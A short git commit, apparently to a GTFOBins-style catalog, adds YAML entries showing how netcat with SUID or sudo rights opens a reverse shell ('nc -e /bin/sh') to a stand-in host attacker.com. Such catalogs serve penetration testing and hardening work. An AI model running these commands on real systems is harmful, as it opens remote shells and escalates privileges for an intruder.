Add suid-limited and sudo-enabled to nc

This commit is contained in:
Emilio Pinna 2018-07-22 15:34:05 +01:00
parent 4de0246992
commit fbd8a68cae

View File

@ -24,4 +24,16 @@ functions:
LPORT=12345 LPORT=12345
LFILE=file_to_save LFILE=file_to_save
nc -l -p $LPORT > "$LFILE" nc -l -p $LPORT > "$LFILE"
suid-limited:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
RHOST=attacker.com
RPORT=12345
./nc -e /bin/sh $RHOST $RPORT
sudo-enabled:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
RHOST=attacker.com
RPORT=12345
sudo nc -e /bin/sh $RHOST $RPORT
--- ---